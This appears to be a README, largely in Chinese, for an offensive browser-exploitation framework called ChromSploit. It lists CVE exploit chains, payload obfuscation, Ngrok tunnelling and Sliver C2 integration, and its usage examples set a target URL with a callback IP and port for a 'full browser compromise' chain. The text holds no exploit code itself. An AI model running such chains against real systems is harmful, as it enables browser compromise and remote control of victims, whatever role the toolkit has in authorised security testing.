<div align="center">
<h1>:rocket: ChromSploit Framework</h1>
<p><strong>Professional Security Research Platform for Browser Vulnerability Analysis</strong></p>
<p><em>Multi-CVE exploitation chains with advanced obfuscation and automated tunneling</em></p>
</div>
:gear: 功能特性
:bullseye: 核心能力
- 6个高级CVE漏洞利用 (CVE-2025-2783, CVE-2025-30397, CVE-2025-24813, CVE-2024-32002, CVE-2025-4664, CVE-2025-2857)
- 浏览器多漏洞利用链,支持自动化攻击
- AI驱动的编排,实现智能漏洞选择
- 实时监控仪表板,提供实时指标
- 自愈模块,确保操作弹性
- 增强的错误处理,具备上下文感知和恢复建议
:wrench: 高级功能
- 多阶段利用链: 将多个CVE组合成强大的攻击链
- 9层Payload混淆: 从基础重命名到OLLVM编译
- 自动Ngrok隧道: 一键将本地服务暴露到外网
- Sliver C2集成: 通过行业领先的C2框架进行后期利用
- Bug Bounty报告生成: 专业级漏洞报告和证据收集
- 协作模块: 支持团队成员协作进行安全评估
:rocket: 使用说明
基础使用
启动框架:
python chromsploit.py
使用安全模拟模式 (推荐用于开发和学习):
python chromsploit.py --simulation safe
使用演示模式 (带解释):
python chromsploit.py --simulation demo
检查环境:
python chromsploit.py --check
典型使用场景
1. 浏览器多漏洞利用链
from modules.browser_exploit_chain import BrowserExploitChain
# 配置目标
config = {
'target_url': 'http://target-site.com',
'callback_ip': '192.168.1.100',
'callback_port': 4444,
'simulation_mode': True # 安全模式
}
# 创建浏览器利用链
chain_manager = BrowserExploitChain()
chain_id = chain_manager.create_browser_chain('full_browser_compromise', config)
# 执行链
chain_manager.execute_chain(chain_id)
2. AI驱动的漏洞选择
from core.ai_orchestrator import AIOrchestrator
# 创建AI编排器
orchestrator = AIOrchestrator()
# 分析目标
target_profile = {
'browser': 'Chrome',
'version': '122.0.6261.94',
'os_type': 'Windows',
'os_version': '10',
'security_features': ['Sandbox', 'ASLR', 'DEP']
}
# 获取推荐
recommendations = orchestrator.recommend_exploits(target_profile)
print(f"推荐漏洞: {recommendations[0]['cve_id']} (置信度: {recommendations[0]['confidence']}%)")
3. 生成专业报告
from core.reporting import ReportGenerator, ReportSeverity
# 创建报告生成器
report_gen = ReportGenerator()
# 添加漏洞详情
report_gen.add_vulnerability(
name="Chrome Mojo IPC Sandbox Escape",
cve_id="CVE-2025-2783",
severity=ReportSeverity.HIGH,
description="通过Mojo IPC句柄混淆实现Chrome沙盒逃逸",
remediation="升级到Chrome 122.0.6261.94或更高版本"
)
# 生成报告
report_path = report_gen.generate_pdf("security_assessment_report.pdf")
print(f"报告已生成: {report_path}")
<div align="center">
<p><strong>ChromSploit Framework</strong> - 为网络安全专业人员和研究人员提供的专业浏览器安全研究平台</p>
<p>:warning: 仅用于教育目的和授权测试 :warning:</p>
</div>FINISHED
6HFtX5dABrKlqXeO5PUv/9wuMYEpBiY11Tvl8YDCA1ltYaslYveD5zz9d/0V3LRu